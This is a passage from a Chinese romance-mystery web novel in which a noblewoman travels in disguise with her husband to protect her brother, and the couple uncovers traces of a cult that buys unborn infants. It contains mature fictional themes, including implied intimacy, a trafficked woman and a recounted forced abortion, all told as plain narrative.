萧远峥身躯一僵,越发箍紧慕容鸾音的腰贴向自己胸腹。 “你要想勒断我的腰你就继续用力!” 萧远峥蓦地松了松,大脑袋上移又埋到她颈窝里,不言不语,只那般紧密的蹭弄着。 “我这回不会上你的当了。”慕容鸾音放弃推他,就那么任由他贴着,硬着心肠继续道:“你究竟想怎么样,我不管。我只问你,你想怎么安排我?” 慕容鸾音等了一会儿,见他装死就冷笑道:“你不说我也知道,你想把我圈在内宅保平安,然后呢,让我在‘你究竟爱不爱我’的猜测中郁郁度日吗?” 萧远峥心头一紧,缓缓抬眸。 “萧远峥,我不止做过关于哥哥惨死的噩梦,我还梦见洛淑仪守寡归来,应验了,我又梦见会有死士潜入府内,也应验了,梦境中,死士会抓住你的‘真爱’洛淑仪威胁你,你救下了洛淑仪,但洛淑仪被捅伤腹部失去了生育能力,梦境里到了后来,老夫人为洛淑仪抢夺我的孩子,把我的孩子教养的认洛淑仪为母,不认我。梦境里,有坏人在我亲手熬煮的莲子羹里下了毒,我亲手把这碗有毒的莲子羹喂给了舅外祖,你因此事彻底厌弃了我,再后来,我生育最后一个女儿时大出血,我快死的时候想见你最后一面,冬青为此强闯静园而被阎大忠杀死,梦境里,我为了求得你的爱,真的在内宅呆了一辈子,可结局是我悔恨而终。” 慕容鸾音落泪如雨,萧远峥看着她心痛难抑。 “阿音妹妹……” “你知道这些噩梦让我明白了什么吗?它们让我明白,不要去追逐任何人的爱,更不要企图通过扭曲自己变成他喜欢的样子而去强求。那一场又一场的噩梦更让我顿悟,我是谁,我担负着怎样的责任,我该怎么活。上苍怜我给我降下梦兆,难道是让我不当回事的吗?不,是让我改变命运的。我已经改变了洛淑仪的命运,现在我要改变我哥哥惨死的结局,即便以我命换取哥哥的命,我在所不惜,你阻止不了我。” 话落,拔下头上蝴蝶金簪塞他手里,抓着他手腕抵到自己脖子上,“来,杀了我,我死了就不去了。” 萧远峥心知,话说到这个份上自己没有法子再阻止她了,与其自己走后让她偷着追去,倒不如自己带着她,看在眼皮子底下倒还能保她周全。 于是将金簪子插回她发髻上,无奈道:“我带着你去追你哥哥便是。” 慕容鸾音顿时欢喜,把脸上泪水一抹,挣开他的怀抱就去开门,对着远远站在游廊上的碧荷冬青等笑道:“快些进来收拾箱笼,你们世子爷答应带咱们上路了。” 萧远峥见她变脸如翻书,蓦的愣住。 慕容鸾音又走回他身边,挤到他怀里坐到他腿上,搂着他脖子嘻嘻笑道:“只许你用苦肉计,不许我用吗?我这可都是跟你学的呀。你当我傻嘛,明知白玉京行事诡谲还要自己上路,我怕是才出京城就会被抓、被杀,又或者被囚禁折磨拿来威胁你。” 萧远峥看着她灿烂如花的笑脸,深吸一口气,生出无力感来,深知这一回是自己输了,气不过拧她香腮,“……虞兮虞兮奈若何。” 慕容鸾音拍掉他的手,嗤笑道:“呸,竟自比西楚霸王,不知羞。” 一时碧荷茯苓进来了,碧荷自去暖阁为慕容鸾音收拾衣裙鞋袜等穿戴的,茯苓两手高举两个叠在一起的匣子,挡着自己的脸,走到堂上笑问,“姑娘,奴婢找来两个红漆螺钿山茶花图案的,您瞧瞧合适吗?” “合适,一个装我的首饰钗环,一个装香膏胭脂。”慕容鸾音忽的又想起来,吩咐道:“再去找个铜提环小箱子,拴上绸带能背在身上的,像我阿娘常用的那种药箱子,用来装我的金针,再装些避瘟丸、醒酒丸,还有肚痛顺肠丸,路上饮食无法保证洁净,以防万一,还有、还有万灵解毒丸。” 茯苓一一记在心里,然后道:“姑娘,肚痛顺肠丸,万灵解毒丸,家里没有,需得去药铺现拿。” “那你亲自去一趟,斟酌着再拿些路上用得上,我又没想到的药丸、药散。” 茯苓答应一声连忙去了。 说完这一套,慕容鸾音赶紧又搂着萧远峥脖子兴冲冲的问道:“你既是代替陛下巡抚地方,又有御赐尚方宝剑,如此可有威风凛凛的仪仗?” 萧远峥单手给自己倒了一盏茶,端起来喝了一口,才慢悠悠道:“不止有全副仪仗,还有明黄龙纹车衣的御车一辆。” 慕容鸾音“噌”的一下子眼眸晶亮,“我能和你一起坐御车吗?” “不能。” 慕容鸾音失望的脸色都暗淡下来,“为何?” 萧远峥不答,只是低声轻笑。 到了出发那一日,慕容鸾音看见萧远峥那一身令她目瞪口呆的穿戴有了答案。 只见他头戴花丝镶嵌联珠貔貅金冠,穿着绛红连钱纹云锦袍,腰系白玉环丝绦,脚踩泥金彩绘鹿皮靴,手上戴着三个金嵌宝石大戒指,撇腿站着,摇着一把泥金玉骨扇,瞥眼看她,露出轻浮调笑的神态,活脱脱一个豪商家人傻钱多的浪荡公子。 而她也被要求着,打扮成一个得宠的通房丫头。 她才知道,他给自己弄了个假身份,现在他是谢氏绸缎庄第一回出远门学做生意,见世面的大公子。 “巡抚萧大人”的队伍紧随在后,谢大公子带着宠婢鸾儿,丫头壮仆各两名,共四辆马车,十匹马先行。 雇佣了“锦隆镖局”的镖师,带总镖头共十一人随行保护。 那总镖头她也是见过的,正是锦衣卫指挥使苏逢生,人家也给自己取了个假名叫冯生。 至于那御车,谁也不能坐,只有“尚方宝剑”坐得。 却说慕容韫玉,仍旧按照往常的习惯,尽量把落脚处凑在自家城内的药铺里,一为方便,二为查 账,一举两得,若实在不能时就选在驿站。 这日黄昏到了微山小县城,入得城门就被塞了一张百媚楼的宣传纸贴,帖子上一个大大的噱头写的是“银发女妖”,原来这家青楼从牙行手里新买来一个花魁,有一头长及脚踝的银发,通体雪白,帖子上着重描绘这“银发女妖”不止身段妖娆,还是难得一见的“白虎”,每夜价高者得。 慕容韫玉在生意场上混迹多年,出入青楼行院是常事,自然知道何谓“白虎”,更知道这个行当为了揽客花样百出,可还真是头一回见用“银发女妖”为噱头的,心里不禁嗤笑,这百媚楼他知道,就与自家药铺隔了两个路口,因楼内多是上了年纪的老姑娘,生意日渐惨淡,不曾想那尤老娘为了“起死回生”竟想出这么个死马当活马医的烂主意来,若是恩客要求“银发女妖”当场洗头,岂不是立马就穿帮了。 不想,他知道百媚楼,百媚楼的尤老娘也知道他,知道他在京都里有一门权贵姻亲罩着,是个极有势力的大财主。原本正站在楼上嗑瓜子,甫一瞧见他的车架,猛地吐出瓜子皮就欢天喜地向楼下跑去。 尤老娘咧着一张笑脸拦到马车前头,福身行礼,高声问候,“可是慕容大爷尊驾,慕容大爷福寿安康,老身这厢有礼了。” 所谓伸手不打笑脸人,慕容韫玉身为一介商贾更是一贯主张和气生财,遂,下得车来,含笑回礼,“好些日子不见,您老人家一向可好?” 尤老娘一面给守在门口的龟公打手势一面笑道:“近些日子好吃好睡好着呢。慕容大爷,知道您是京都里的人,是见过大世面的,往常我这楼里都是些歪瓜裂枣始终不敢邀您来玩,今时不同往日,我也花重金买来一个花魁,我敢和您打赌,我这一个花魁,遍天下也找不出第二个来,您随我进楼里去喝一口茶如何?” /:. 慕容韫玉笑道:“我还有事,改日吧。” 这时龟公牵着一条锁链走了出来,锁链那头用拴狗的法子拴着一个银发女子的脖子。 尤老娘赔笑道:“慕容大爷,您瞅一眼,只要您瞅一眼,您想走我绝不拦着。” 慕容韫玉听她如此说,为了摆脱这老鸨子的纠缠就用眼角余光瞥去一眼,一眼便被定住了。 一头长及脚踝的白发,眉毛也是雪白的,皮肤白的接近透明,唇色却殷红如血,一张脸妖媚横生,一双眼透出来的光彩却似纯真女童,身上只穿着一件薄透紧身的水红衫,勾勒出令人血脉喷张的身姿曲线,极致的诱惑与极致的纯真,巨大的反差,只一眼就勾出男人最深处的欲/望。 当慕容韫玉看见她脖子上拴着的狗项圈,禁不住就怒了,“她是个人啊,你们怎么能这么对她!” 第42章 第042章听墙角该死的萧贼! 那尤老娘浸淫风月场上几十年,早练就一双揣度人心的本事,她见“银发女妖”没把这位大财主的欲/火勾出来,反而勾出了怜惜,一霎喜出望外。 若仅仅是欲,包一两夜撑死也就赚上十来两银子,但勾出了怜惜之情就不一样了,包上一年半载都是有的,再若由怜生爱,就会想着给心爱之人赎身,到那时她就可以拿捏着狮子大开口,吃下这一头肥羊就够她开张三年的。 如此想着,连忙矮下身子赔笑,“慕容大爷莫要误会了,我们百媚楼从不磋磨姑娘,捧着哄着还来不及呢,只是我这个女儿有些特殊,买下她时这条锁链就在她脖子上了,据那牙人说,她仿佛是被狼母养大的,牙口和爪子都极锋利,能把人命i根子咬下来,但若是你把她喂饱了,给她一块饴糖吃,她就乖乖躺在那里任你施为,还会喊‘舒服’。” 慕容韫玉听了,越发愤怒,“也即是说,她是个傻的?” 尤老娘笑道:“和四五岁的差不多。” 慕容韫玉心想,那就怪不得了,分明一副久经人事的身子却有一双纯真的眼。 “尤老娘,我说话难听也要说了,你这是人干的事儿嘛。” 尤老娘心里越发有底了,忙忙的认罪,又掏出帕子来淌眼抹泪,“老身也是走投无路才出此下策。我若是那等心黑手辣的鸨母,一旦女儿老了、病了就扔出去不管不问,再拿钱去买鲜嫩的来,我这百媚楼也是能维持下去的,怪就怪我心善,不忍心丢弃,为了养活她们,我便是下地狱也认了。” “行了行了,收了吧,没得让我恶心。”慕容韫玉取下腰间钱袋子扔尤老娘手里,“这姑娘我买下了,只是我身上还有事,你先替我养半年,待得我下次过来接她。” 尤老娘扯开勒绳一瞧,见是大半袋子的金瓜子,徒手掂了掂分量,挠着脸赔笑道:“这怕是还差点。” “十两金子还嫌少?那就罢了。”慕容韫玉说完作势要抢回自己的钱袋子。 尤老娘赶紧往自己胸围子里一塞就赔笑道:“待得慕容大爷回来接人时再添些口粮钱便是了。” “你做个人别让她再接客,等我回来少不了你的口粮钱。” 话落,脱下身上翠色羽缎大氅披在那姑娘身上,自己登车而去。 在自家药铺后院歇宿一夜,翌日整装待发时就被赵荆找上门来,得知萧远峥升为二品巡抚,顿生欢喜,与有荣焉,又得知萧远峥竟把慕容鸾音带在了身边,立时脸色大变,张口痛骂:该死的萧贼! 骂过之后,只得听从安排,原地等待会合。 不似慕容韫玉悠哉行路的风格,萧远峥一行赶路为要,这日错过了驿站,日暮微雨只得在一个村庄投宿。 在村头择定了一户建有门楼的人家,就敲开了门。 开门的是个盘着发髻,插戴着铜鎏银如意簪子的妇女,皮肤微黑,五官端正,三十来岁年纪,半开着门一看他们这一行都是凶神恶煞的男人,顿时就慌了,高声急呼屋里的男人。 屋里的男人抄起菜刀就冲了出来。 萧远峥把慕容鸾音抱下马车就笑道:“冯总镖头,你们吓着人家了,退后。碧荷,你去,先给人家一颗金枣子压压惊。” 碧荷应“是”,摆出一张柔和的笑脸越过拿刀的男人就走向那妇女,“这位嫂子您别怕,我们都是跟着大公子出门做生意的随从,那些人别看长得凶,其实都是我们大公子雇佣的镖师,您瞧他们马屁股上插的镖旗了没有?” 妇女看着自己手心里被塞的一颗金光灿灿的枣子,两眼都直了,还以为自己是做梦,捏起金枣子来就使劲咬了一口。 金子软,她一口就咬下一块凹痕。 “当家的,真是金子啊,快把刀收起来。”妇女先是打量一番碧荷的穿戴,摸了摸她滑溜溜的绿绸袖子,随即又看向穿戴的华丽富贵的萧远峥和慕容鸾音,顿时喜道:“我们两口子都不识字,我打眼一瞧就被你们这队镖师吓坏了,误以为是山匪下山,原是我眼拙,下雨了,你们可是要歇宿?快进来说话。” 碧荷连忙点头,又笑问道:“怎么称呼您?” “我们当家的姓刘。” 碧荷立时便笑道:“刘嫂子,刘大哥,今夜给你们添麻烦了,我们明日一早就走。” 有金枣子开路,一切就好说了。只是这一户农家院子也容不下四辆车,十匹马,慕容鸾音就又贡献出两颗枣子来,让那农家汉子和左右邻居说了,如此分作三处才容下了。 那刘嫂子得了金枣子,就拿出十分的热情来招待,“谢大公子”摆出架势来都坦然受了。 一时饭毕,碧荷冬青也把刘嫂子让出来的正房大木床用自家的被褥铺陈好了。 待得慕容鸾音洗漱洁身毕,在绣被里躺好,萧远峥就进来了。 “夜深了,你们也去厢房歇下吧。” 碧荷冬青福身行礼后退了出去。 外头,濛濛细雨变作豆粒大的雨点子落了下来。 这农家木屋比不得家里,便有寒气从窗缝门缝钻进来,慕容鸾音把被子裹的严严实实的还是觉得被窝不暖和。 到得萧远峥脱下鹤氅压在被子上,他也紧挨着她躺下时,她一下子就觉得有些热了。 这时隔壁传来那对农家夫妻低低的说话声。 “当家的,我今儿才算见世面了,还有用银盆洗屁股的。” 慕容鸾音一下子脸红耳热起来,心想,我用银盆洗屁股怎么了,我还用金盆洗脚呢,哼。 萧远峥唇角上扬,胸腔微微鼓荡。 两人的身子紧挨着,慕容鸾音一下就感觉到他身躯的震动,便知他在笑。既知道这木墙壁隔音这般差,慕容鸾音就只抿着嘴轻踢了他大腿一下。 他在被子里握住她的脚揉捏起来。 慕容鸾音不敢出声,挣了两下没挣开就罢了。 谁知又听隔壁那农家汉子道:“我要是像那个大公子那样有钱,也给你打个银盆。别说了,那会儿被他们打断了,我还想着呢。” 妇女低喘一声轻声道:“那你小点动静。” 那边仗着是在自己家,虽是压着动静,但这边还是听的清清楚楚。 慕容鸾音头一回知道,听动静竟是比看避火图还厉害些,致使身畔之人对她越贴越紧,纵使刻意压制,喘息还是渐渐粗重起来。 她自是不愿在这种地方,又恐被隔壁反听了去,就只能轻轻的推拒他,于萧远峥而言,不像是推拒倒像是火上浇油的撩拨,便吻住她的唇瓣,把她所有从唇缝中溢出的娇音一点不漏的都吞了。 约莫过了一盏茶的功夫,隔壁忽的传来“咚”的一声,似是重物落地声。 这边,水汪汪的,两人身子都是热腻腻的汗。 “总是这么没用,还想呢,想屁吃!” “娟娘,对不住。今儿咱们得了额外之财,明儿你就给我,我进城买药吃,我早向人打听准了,有个药铺卖的益精补肾丸最有效用,吃了能让人金枪不倒,到时候就该你向我求饶了。” 慕容鸾音咬着萧远峥的肩膀肉,心想,听这名儿就知道是我家药铺卖的,原来那农家汉子有隐疾呀,怪不得被踹下床去了。 “我不是只贪图自己享受的人,你便是去买药也该买能让我生孩子的药,咱两个成亲有十多年了,到现在都没弄出个一儿半女来,外头人都笑话我是不下蛋的,这也就罢了,没人敢当着我的面说我就当不知道,可是你那几个侄子,眼瞅着就如狼似虎的要扑上来吃咱俩了,这可怎么是好。” “我面儿上和他们和和气气的,心里也怕。大前天,二弟家那个狗蛋,才五岁的娃儿就跟我说,我死了,咱们的房子田地就是他家的。” 刘嫂子就哭了,“真真是老天不公,咱们两口子眼巴巴的盼着有孩子盼不到,那吴骡子家,母鸡下蛋似的一个接一个,有了孩子也不当回事,养鸡养鸭似的养着,去年吴骡子媳妇怀上那个都九个月了,来两个和尚道士说她肚子里怀的是恶鬼胎,人家就不要了,大半夜的不知道怎么弄的,鬼哭狼嚎就把一个成型的男胎打下来了,搁在我身上,心疼死了。” “我听说是打下来卖给那两个人的,吴骡子有一回喝醉了跟人吹牛皮,说是卖了足足二两银子。” “瞎扯,谁买那死东西做什么。” “谁知道呢,睡吧。到明天,贵客们走了,我就进城买药去。” “我和你一块去,咱两个一块找郎中看看。” 少顷,隔壁终于安静了下来。 萧远峥吻着慕容鸾音的颈窝,搂着她腰,紧抵了好一会儿才放松下来。慕容鸾音只觉腿根都酸软了。但身上黏腻令她不舒服,就抓起他的手,在他手心里写了两个字。 萧远峥静了静心,披上鹤氅,点上灯,轻轻打开放在地上的箱笼,找出了两张洁净的帕子来。 第43章 第043章套话你立马给我回京去!…… 翌日,雨未停,天地间朦朦胧胧。 早饭毕,萧远峥就借口等雨停再上路,坐在人家堂屋里不走。 彼时,萧远峥已把这户人家的祖宗三代都问明白了。 当家的汉子叫刘田生,他婆娘叫李娟娘,成亲十数载至今膝下荒凉。两口子很能干,但每天一睁眼,听着邻居家打孩子的叫骂声就闷闷不乐。 这会儿,刘田生在屋里陪坐,满身的局促不安。 屋外廊檐下,刘嫂子一边洗衣裳一边和慕容鸾音闲话家常,说笑声颇为爽朗。 慕容鸾音瞅了瞅天色,故意叹一口气,道:“何时才能雨过天晴啊,我们大公子最受不得无聊了,偏偏带在身边的话本子都看完了,对了,刘嫂子,你们村可有什么奇闻异事,您说给我们大公子听听,只要让他高兴了,我再给您一颗金莲子如何?” 说着话,慕容鸾音自荷包里拿出一颗栩栩如生的金莲子来在手里把玩,“我娘家兄长为了催生,专门给我打了好些金枣子、金花生、金桂圆、金莲子,图一个早生贵子的好意头。我看嫂子也是为没有孩子发愁,您讲个奇闻,我送您一个如何?” 李娟娘直勾勾的盯着慕容鸾音手里的金莲子,不知怎的,心里泛酸,眼眶就红了,“我想起来了,我成亲那天,娘家人婆家人闹得不像样,就没人给我撒帐,怪不得我们至今没孩子呢,原来是少了‘早生贵子’这道撒帐礼,今儿得贵人赠金莲子,就补全了。” 屋内,苏逢生看着萧远峥露出戏谑的笑,萧远峥“嚯”的展扇掩面,轻咳一声。 慕容鸾音佯装没听见,继续按照自己的想法来套话,就笑道:“好个聪明的嫂子,有你这一番话,便是说不出一则奇闻异事来,我也得给了。” 话落,便把金莲子放在了她湿漉漉的手心里。 李娟娘把金莲子紧紧握在手心里,立时就道:“贵人娘子我不白要你的,我们村还真有一件奇事,是一对和尚道士买九个月大孩子的事儿。” 慕容鸾音细细听着,果然和昨夜偷听到的差不多,禁不住回眸看向萧远峥。 萧远峥捏着泥金玉骨扇轻摇,听的差不多了就插嘴道:“你们见过那对和尚道士吗,长什么样儿?” 李娟娘连忙道:“我们没亲眼见过,只听村里人说,和尚是独眼,披着一件土黄袈裟,穿戴的干净利索;道士邋遢,裹着黑幅巾,拄着一副铁拐,满脸花白胡子,也看不清长什么样儿。贵人要还想知道的更多些,不如让我当家的去把吴骡子哄来,他是卖主,知道的肯定更多。” “去请来吧。”萧远峥看着苏逢生点了下头,翘起二郎腿笑道:“左右下雨天无事,听听故事解乏。” 苏逢生当即走向刘田生。 刘田生在自家婆娘的催促声里,赶忙带着苏逢生去了。 趁着这个空当,慕容鸾音就拿起了李娟娘的手腕,笑道:“我观嫂子虽说皮肤微黑,但却是气血丰盈之相,不该没有孩子,我会点医术,给你把把脉。” 李娟娘连忙笑道:“难得贵人娘子您不嫌弃我手脏,您想把脉就把吧。” 说着话,空着的那只手就牵起裙角擦了擦自己被握着的那只手。 少顷,慕容鸾音轻“咦”了一声,转瞬就笑道:“李嫂子,你这是喜脉啊。” 李娟娘正悬着手赔笑呢,听说“喜脉”二字心里就生出些龃龉来,但念在所得一颗金枣子一颗金莲子的份上,仍旧强笑道:“贵人娘子,您想让我怎么陪您玩都行,只求您慈悲,别拿这事儿取笑我。” “没骗你,你真的有身子了,只是日子尚浅。” 李娟娘真的恼了,蓦的抽回自己的手就开始大力搓洗衣裳,“我那个走了才四五天,我有个屁的身子。” 萧远峥一听她们说起女子癸水了,连忙避了出去。 慕容鸾音沉吟了片刻,道:“我所料不错,你四五天前的癸水应该很少,你的脉象强健如牛,按理来说,要孩子不难,可你却十来年没有孩子,问题出在你当家的男人身上,他的种子不好, 而你的身子又太好,故,我想问你,你是否有过某次来那个时,流出血块的现象?” 李娟娘隐隐呼吸急促起来,心口砰砰直跳,“是、是,我五天前来那次就比上个月少,年头上二月份,也的确有流出过血块,三月份又正常了,去年、去年仿佛也有过一回,我肚子也不疼,身子也没怎么样,能吃能睡,我就没当回事。” “那就是了。”慕容鸾音斟酌了一会儿才用粗俗易懂的话对李娟娘道:“你的身子很好,它察觉到种下的种子有残缺就帮你自然而然的流掉了,而现在你怀上的这个我摸着脉象也并不很强健,你若想留下它,从今天开始就别干重活,吃些好的,卧床养胎。尤其似你刚才那般,折着腰身猛搓衣裳的事儿,别干了。” 李娟娘一手捂着自己的肚子一手捂住嘴呜呜的哭起来。 那边厢,刘田生也把吴骡子带了过来,甫一听见自家婆娘的哭声,脸色一青,扔下吴骡子就跑了进来。 “娟娘,她们欺负你了?” 李娟娘连忙摇头,“我有身子了。” “啥?” 刘田生一下呆愣住了。 慕容鸾音把此处留给他们夫妻,自己走去了门口。 彼时萧远峥站在门楼下,门旁里站着一个看起来老实巴交的农家汉子,汉子身后站着怀抱长刀的苏逢生。 慕容鸾音心想,这就是那个为了二两银子,深更半夜给自己怀胎九月的媳妇打胎的男人吗?从面相上真是一点阴狠都看不出来。 萧远峥听了一会儿就佯装不耐烦道:“你说的这些你们村里人都知道,说点只有你自己知道的。” 吴骡子低下头抠脸,小心翼翼道:“刘大哥说,我说了自家的事儿,贵人会给赏钱的……” 萧远峥就从自己袖袋里摸出一串十个钱扔吴骡子脚边,“烦死了,快说。” 吴骡子一把抓起来塞袖子里,就赔笑道:“我用擀面杖把那恶鬼胎擀出来的时候还是活的,那和尚就高兴的说‘活的好,我们教主最爱活的’,然后就把恶鬼胎放进了一个冒着寒气的铜匣子里,我问那是什么,和尚就说是锁住恶鬼的仙家法器。” 慕容鸾音听见他口口声声把自己的孩子说成“恶鬼胎”,忍不住冷笑道:“今日有一对和尚道士说你未出世的孩子是恶鬼,你就狠心用擀面杖把孩子活生生弄了出来,他日再有一对和尚道士到你门上,说你是邪魔转世,你要记着自己去投河跳井啊,不对,你投河跳井是污染了水源,你把自己烧成灰算了。” 吴骡子赔笑道:“佛爷说了,我配合他们除掉的是恶鬼,我就积了来世的福德了,说不好,来世我也能当有钱老爷了。” 萧远峥慕容鸾音四目相对,都不由得想,果然是弥勒教干的。 这时雨霁初晴,苏逢生撵走了吴骡子,萧远峥就对慕容鸾音道:“该走了。” 慕容鸾音会意,又给李娟娘留下一张保胎方子,这才作别登车。 这日,车行至微山县,赵荆早已在城门口等候多时。 慕容鸾音担忧哥哥安危心切,马车一抵达自家药铺门口,就下车直奔后院,便见慕容韫玉右手臂缠着白布条,正坐在桂花树下发呆。 慕容鸾音心口一痛,连忙上前,“哥哥,你受伤了,谁伤的你?” 慕容韫玉回过神来,抹一把脸站起来,把慕容鸾音按在自己坐的锦垫上,横眉怒视走进来的萧远峥,“为何要把阿音带来!” 慕容鸾音连忙道:“哥哥,是我以死相逼硬要跟来,与他无关。” 萧远峥站到慕容鸾音另外一边,拂开慕容韫玉搭在她肩膀上的手,淡淡道:“我府内曾有诡异死士潜入,思来想去,还是看在眼皮子底下最放心,故此带了她同行。” 慕容鸾音一听却恼了,“你替我遮饰就是依旧不信,我的梦境预兆是真的,我不管你们信不信,反正我自己信。” 说完又看向慕容韫玉,面带薄怒,“怎么只你是祖父的好孙子,我就不是了?你与他结盟秘查害死祖父的背后真凶,伺机报仇雪恨的事情,我已是都知道了。在我的梦境里,你被剥皮楦草扔在了国公府门口,这意味着,你进入了敌人的陷阱,你被敌人反过来杀害,拿来向他示威。我在梦境里哭的撕心裂肺,醒来仍旧心痛如绞。” 说到此处,仿佛梦境里的场景又在眼前重现,慕容鸾音哭道:“我不管你们是怎么想的,此去西州刀山火海我也要跟着,你们若敢密谋不带我,我就孤身独行,我死了,好过你们死了,我哭死。” 慕容韫玉一听也怒了,“这不是你能任性的,你立马给我回京去!” “你凶我,你从来没这么凶过我。” 慕容鸾音伤心大哭。 萧远峥抬眸冷睨慕容韫玉,“是我带她来的,你凶她作甚。” 就在这时正房传来锁链划动地面的声响,紧接着就是“咚咚咚”急促的拍门声。 萧远峥向声音来处望去,“谁在那屋里?” 慕容韫玉浑身一僵,蓦地攥紧了拳头。 第44章 第044章破尘规昌乐楼中破尘规…… 这时,从隔壁耳房中走出一位温婉端庄,体态丰盈的美妇人,她手里端着一盘敲成碎块的饴糖。 “大爷,她已是吃了两盘子了,还要送进去吗?” 慕容韫玉无奈的道:“送吧,不然一会儿她唱起那歌来,又撩骚的人去扑她。” 慕容鸾音盯着那美妇人好一会儿,一把捏住慕容韫玉受伤处,压低声音怒道:“嫂子在家为你养儿育女,孝敬爹娘,操持中馈,你倒好,偏偏找了一个和嫂子那般相像的人带在身边,你也欺人太甚了!” “疼疼疼!”慕容韫玉顿时龇牙咧嘴,求饶道:“撒手撒手,听我给你解释,此事说来话长。” 彼时,慕容韫玉的长随金福提了一个食盒进来,但见院中多了好些人,大姑娘和姑爷也来了,连忙道:“大爷,早食买少了。” 慕容韫玉看向萧远峥,这才发现他一身的穿戴与素日里大相径庭,尤其头上戴的貔貅金冠,和自己头上戴的金蟾玉冠,仿佛在同一个珠宝楼买的,长眉一挑就道:“你怎么模仿起我来?” 萧远峥不理他,抬手一指倚靠在桂花树上看好戏的苏逢生,“我现在是谢氏绸缎庄的大公子,那是我请的总镖头冯生。” 苏逢生含笑拱手,“锦衣卫指挥使苏逢生见过慕容大爷。” 慕容韫玉连忙还礼,“原来是苏大人,晚生拜见苏大人。金福,快去再买些早食来。再让银福搬几张方凳来。” 金福连忙去了。 约莫一炷香后,桂花树下,桌凳齐备,各式各样的早食也买来了,有冒着热气的胡椒羊肉汤、羊肉饼;有鲜肉馄饨、酱牛肉大包子;还有红豆粥和芝麻小甜饼,大盘子大碗满满当当一桌子。 慕容韫玉拢着苏逢生在此处吃也没忘了其他扮成镖师的锦衣卫,给了金福一袋银子,让带到街上去吃。 慕容鸾音见状也让碧荷冬青,顺带着赵荆阎大忠一块到街上去,捡着想吃的吃去。 萧远峥、慕容韫玉、苏逢生坐的都是方凳,只慕容鸾音坐的是铺着锦垫的圈椅。 这会儿,终于见到了哥哥,人虽受了点伤,但还活的好好的,慕容鸾音绷着的心弦一松懈就觉得饭香了。 慕容韫玉和萧远峥几乎是同时去捧那碗红豆粥,二人四目相对,火花四溅,慕容韫玉当即就道:“这是金福专门给阿音买的。” “我岂能不知。”萧远峥让了慕容韫玉,就把那盘子芝麻小甜饼挪到了慕容鸾音跟前。 慕容韫玉嗤笑,把红豆粥放到了慕容鸾音手边,“哥哥错了,方才不该凶你,吃饭,吃的差不多了,咱们再说话。” “这还差不多。”慕容鸾音微抬下巴,颇为娇气,“原谅你了。” 苏逢生不管那三人之间的眉眼官司,他是真饿了,拿起一个酱牛肉大包子就大口吃起来。 饭毕。碧荷冬青回来了,帮着把残羹冷饭收拾了下去,又摆上了茶点。 慕容韫玉捧着茶喝了一口就先问道:“你升做了巡抚,又被赐下尚方宝剑,本应该随着仪仗 走,这会儿却乔装改扮成一介商贾,追着我到了此处,是为何?” 萧远峥道:“我由范成德案顺蔓摸瓜查到了郯国公玉在山是白玉京的邪教徒。” 慕容韫玉握着茶盏的手指蓦的泛白,压着激动,喉头哽住,缓和了好一会儿才道:“祖母的推想没错,祖父当初收到的那封五色鹊送来的信是祖父之死的源头。果真是有白玉京的,这个白玉京才是真正谋害祖父的黑手,十一年了,白玉京终于再次现世。” 萧远峥等着慕容韫玉情绪缓和,就把发现玉在山的事情经过说了一遍。 慕容韫玉当即就道:“也就是说,你现在只知道白玉京要在西州府开‘极乐长生宴’,但不知是在何处开宴,何时开宴?” 萧远峥举杯饮茶,没言语。 慕容鸾音就道:“哥哥,现在该你说了,你为何到西州去,去了打算做什么?” “这还和你有关。” 慕容鸾音惊诧,一下子坐直身子,“我?” 萧远峥也不由得抬眸直视慕容韫玉。 “十一年前,年头上正月十五,我和他带着你一块出门看花灯。”慕容韫玉斜睨一眼萧远峥,“我们俩把你看丢了,还记得吗?” 慕容鸾音抿抿唇,瞥一眼萧远峥,“记得,是我自己看花了眼,被一盏新奇的鱼灯引逗的离了你们身边。” “我虽然烦他总是和我抢妹妹,但是当时也多亏了他,我们才能及时把你从昌乐楼救出来。” “我还记得,后来你跟我说,查封昌乐楼的时候还查出了忠信侯孙澶和小女儿在一张床榻上被人一剑穿在一块的事情。” 萧远峥冷睨慕容韫玉,“十一年前她才多大,你就跟她说这个?” 慕容韫玉亦冷笑,“你办的那些个奸/淫盗窃的案子,你和她说的少了?” 苏逢生忍笑不吱声,一口一个梅花绿豆饼。 慕容鸾音羞窘,两手各扯了二人袖子一下。 “苏大人,让您见笑了。” 苏逢生被绿豆饼噎了一下,咳嗽两声,赶忙举起杯子来喝茶往下顺。 “哥哥,说正经的。” 慕容韫玉哼了萧远峥一鼻子接着道:“我有个多年的朋友是做瓷器生意的,叫张庭春,前年入了堂兄弟设下的套染上了赌瘾,把家产败光了,今年六月份我再见他就发现他东山再起了,他跟我说,自从穷困了以后见识了人情冷暖,世态炎凉,不甘心从此沦落,就一直在寻找东山再起的机会,可巧听说了西州府菊花节斗花会,说只要得了花榜第一,就能得到万两白银的奖励,他就带着女儿去了。” 慕容鸾音心有疑惑就立马问了出来,“菊花节斗花会,应该带菊花去吧,他怎么带女儿去了?” 萧远峥早已收集了一些西州府的资料,就接话道:“这斗花会规定,参与比斗的菊花需当场折下,由美人佩戴在头上走到斗花台上展示,举办人是西州首富朱炳权,点评人由浙川布政使余秉信,西州府知府黄道生,以及三位当地望族耆老组成,花要比稀世与鲜妍,美人除了要比姿容身段,还要比德容言功乃至于家世,去年斗花会一位叫张如翠的姑娘,就因孝心可敬夺取了魁首,为父亲张庭春赢取了万两白银。” 话到此处,萧远峥看向慕容韫玉,淡淡道:“此张庭春应该就是彼张庭春。” “就显摆你知道的多。”慕容韫玉又喝一口茶才接着道:“上个月我陆陆续续接到了他三封来信,说他已举家搬到西州府城去了,今年菊花节快要到了,邀我携妻前往赏花,信中还说倘若我想成为大魏首富一定要去,他得了机遇,有了门道,力保我能心想事成,前面两封信我都没当回事,直到他在第三封信上留下了两句诗‘昌乐楼中破尘规,仙主点化上层楼’。” 慕容韫玉一边说着一边从怀中掏出了一封信,展开放在桌上。 慕容鸾音连忙拿到自己手里细看。 萧远峥早已看过这封信,就看着慕容鸾音道:“还记得玉生烟临死前说过的一句话吗?” 慕容鸾音脑海中灵光一闪,顿时微微激动的道:“她说过一句,‘骏骨楼中诛天骄’,祖父就是在骏骨楼被谋杀的,祖父当得起‘天骄’二字。” 